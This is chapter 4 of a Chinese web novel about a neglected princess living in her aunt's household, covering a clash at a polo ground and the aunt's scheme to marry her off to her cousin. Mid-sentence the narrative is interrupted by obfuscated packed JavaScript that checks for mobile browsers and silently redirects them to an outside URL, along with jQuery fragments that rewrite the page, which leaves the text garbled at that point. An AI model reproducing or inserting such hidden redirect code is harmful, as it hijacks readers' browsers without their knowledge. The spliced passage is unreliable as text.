4. 第4章
作品:《师妹她从不内耗》 今天是时归第一次随司徒颂来到西苑。
吉丹妍不愿意让她继续习武练剑,甚至连闺中女儿常习的琴棋书画也不让她接触,平日里就只让她在府中照顾司徒颂而已。
因此她平时不大出门,也不常在重安城的贵族子弟跟前露面,眼前这个纨绔子弟不认识她也属正常。
他怕是把她当成了哪家贵族子弟的贴身侍女,或是跟随族里人出来见见世面的不受宠的女儿。
这才敢在光天化日之下肆无忌惮地同她搭话,而且不管是望向她的眼神,还是同她说话时的语气,都充满轻视。
她压根就不想搭理他。
那少年见时归沉默不语,完全没有理会他的意思,脸上的笑容不禁僵了僵。
他没料到时归会是这样的反应,眼角抽搐了一下,往前走了两步,正打算再次开口,却见一个像身影炮弹般从马场上朝他冲了过来。
“喂!李家的!离我表姐远点!”司徒颂像只炸了毛的小狮子,气冲冲地插到两人之间。
他双手紧攥成拳,仰头怒视着比他高出一截的少年,“谁允许你跟我表姐说话的!”
那少年被突然闯过来的司徒颂吓了一跳。
愣了好一会儿之后,他的眼中浮现出些许愠怒之色。
今天可真够背的,在吉时归那里碰了一鼻子灰不说,还招惹上司徒家的这个小猴子。
他将目光移到时归的身上,恶狠狠地瞪了她一眼。
看司徒颂如此护着她,他自然猜出来了她的身份。
她穿得如此素净,而且身边连一个仆人都没有,也难怪他此前看不出来她就是国主的女儿,那个被寄养在城主府里的公主。
罢了,今天只能自认倒霉。
咬了咬牙,他转身准备离开。
对面这两人的身份摆在那里,他就算再怨恨,也不得不咽下这口气。
司徒颂却并不打算与他善罢甘休,他怒喝了一声站住,然后直接挥拳捣向对方。
不过就在他挥拳的一瞬间,时归伸出手攥住了他的手腕。
她对着司徒颂轻轻地摇了摇头,然后松开了手。
司徒颂犹豫了一下后收回手,鼓起腮帮子气呼呼地站在原地。
那少年看看司徒颂,又看了看仿佛置身事外的时归,脸上红一阵白一阵,大概自己也觉得很没有意思,转过身离开,大步流星地融入了不远处喧闹的人群中。
一场风波就这样消弭于无形。
这么一闹,司徒颂也没了兴致,拉起时归的手带着她离开西苑,无精打采地回了家。
回去的时候正好到了晚膳时间,吉丹妍盯着司徒颂净了手,牵着他到花厅去用膳。
今日饭桌上的气氛比往日沉闷,吉丹妍一边给司徒颂夹菜,一边问他今天去绣春山衣料选得如何,又问他马球赛赢了没有,可是司徒颂蔫蔫的,问一句嗯一声,一句话都懒得说。
时归则一直埋着头吃饭。
她的动作很规矩,期间连眼皮都没有抬起过。
吉丹妍见司徒颂今天兴致不高,问了几句后便也就不问了,与司徒典对视了一眼,也沉默地吃起了饭。
用完膳,时归回到了自己所住的轩阁,仰起头望向墨色的夜空。
今天发生的所有事情都令她感到疲累,唯有此刻独处,仰望星空,她才觉得放松。
重安城的夜总被一层薄薄的水雾笼罩着,星辰在水雾中显得朦胧而疏离。
她不知道重安城以外的星空是什么模样。
坐在阁前静静地仰头望着,她的眼神有些空茫,像是灵魂已经抽离,融入了眼前这片沉寂的星海。
身侧突然传来脚步声,紧接着响起吉丹妍的声音:“时归,怎么这么晚还不睡?”
时归转过头望了吉丹妍一眼,起身向她行礼,“姨母,我等下就睡了。”
吉丹妍走到她身旁站定,脸上堆着亲切的笑容,但眼底深处没有半分笑意,“方才用膳的时候我就想问你,今日你随颂儿一起出门,选衣料或是打马球的时候,可曾发生了什么不愉快的事情?他回来后怎么心绪如此不佳?”
吉丹妍想必刚吃完饭就去打听过今天发生什么事了,这会儿才来问她,更像是来兴师问罪。
时归组织了一下语言,用尽量轻松的语气回复:“下午打马球的时候颂儿是和人起了一点争执,不过姨母放心,他们没有动手。”
吉丹妍牢牢地盯着时归,“方才我倒也打听过了,今儿个西苑那边很是热闹,颂儿还与人起了冲突。”
她顿了顿,声音放得更轻柔,却像是棉花里带了刺:“我听说好像是有人不识趣,扰了我们时归的清净?”
她状似无意地抱怨着:“是哪家公子啊?这般没有眼色。”
时归一问三不知:“我不认识,从前也没有见过。”
吉丹妍拉长声音哦了一声:“从前都没有见过,他居然也敢贸贸然找你搭话?”
她这番话便多多少少有点责怪的意思了。
时归没有回应,只是沉默地垂下了眼帘。
吉丹妍脸上的笑容在此时淡了几分,审视的目光在时归脸上停留了许久。
时归的年纪说大不大,说小也不小,身量已经开始抽条,五官虽然谈不上惊艳,仔细瞧来却也觉得精致。
最重要的是她气质出尘,那一份与生俱来的殊色,在夜色里像一块未经雕琢的璞玉。
这丫头……吉丹妍在心里嗤笑了一声。
“我们家时归也是越来越有主意了。”打量了半天,吉丹妍突然开口,说出了这么一句没头没脑的话。
紧接着她对时归道:“你是个姑娘家,姨母也是从你这个年纪过来的,知道小姑娘家到了这个年纪,心思难免活络些。”
“但是你要记住,你从小是在谁身边长大,是谁收留照顾你,没有嫌弃你那些关于灾星的传言。不该有的心思趁早断了干净,别给自己惹一身的麻烦。”
说完不等时归回应,她直接转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241451|197755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身离去。
时归站在原地,望着吉丹妍消失在回廊尽头的背影,过了许久,再次仰起头,将目光遥遥投向天际那颗最黯淡的星子上。
吉丹妍回到房间,烦躁地挥退了侍立在一旁的仆从们,然后转过头瞪着坐在窗边的司徒典。
司徒典原本坐在椅子上慢条斯理地擦拭着玉如意,见到吉丹妍这副怒气冲冲的样子,他放下手中的玉如意,长长地叹了口气:“气成这个样子,又是谁招惹你啦?”
“还不是我那个好姐姐扔在我们这儿的灾星!”吉丹妍冲到司徒典面前,气愤地一甩衣袖,“你猜今日颂儿到底是怎么回事?”
司徒典摸不着头脑,“什么怎么回事?”
吉丹妍见他这副懒洋洋的样子,更是气不打一出来,“你看不出来他今天心情不好么?连饭都吃得比平时少,你这个当爹的到底有没有关心过你儿子啊?”
司徒典知道她心中有火,啧了一声,压低了声音劝她:“我怎么不关心颂儿了?他也算是个半大小子了,在外头有点不愉快,回家不愿意跟爹娘说,那也是很正常的。”
他站起身来,笑嘻嘻地按了按吉丹妍的肩膀,“你呀也该松一松手,别管得太紧了。”
吉丹妍一把将他的手打开,“你这个当爹的平时不管他就算了,今天出了这么大的事,你不仅不闻不问,还让我松手?”
司徒典被她这话吓了一跳,“到底出什么事儿了?”
“你以为颂儿今天为什么无精打采的?”吉丹妍怒气冲冲地道:“他为了吉时归那丫头差点跟别人打了一架!”
司徒典也皱起了眉头,“不会吧?他们今日不是去打马球么?怎么差点跟人打架?”
吉丹妍这时候却因为太心疼儿子而哽咽得说不出话来了,在司徒典的催促下才一边抹眼泪一边说:“时归那丫头才九岁,就长成那副祸水模样。如今她心思也野了,今日在马场上居然招惹到了李家公子头上。”
她在椅子上坐下,恨铁不成钢地道:“我都打听清楚了,今天颂儿就是为了她才与李家公子起了争执。”
“那李家是今年才从京城调任来的,刚来这里,就因为时归生出了这样的事端,可如何是好?”
她越说越觉气愤:“我看那丫头的心思就不简单,整天沉着一张脸,心事重重的样子,年纪越大她也就越不服管,继续这样下去可不得了,还不知要惹出多少闲话来!”
司徒典背着手在屋里绕圈儿,“那你说怎么办?她再怎么着也是你姐姐的女儿,是天枢的公主,总不能真把她扔出府去。”
“谁说要把她扔出去了?”吉丹妍朝他翻了一个白眼,“依我看,干脆我们向国主求旨,以照顾公主多年亲如一家为名,恳请国主开恩赐婚,让她嫁给颂儿,名正言顺留在这里,从此断了那些不安分的心思。”
司徒典皱着眉头沉吟了半晌,然后犹犹豫豫地问她:“这样能成么?我只是一个小小的重安城主,国主能把公主赐给我们颂儿么?”

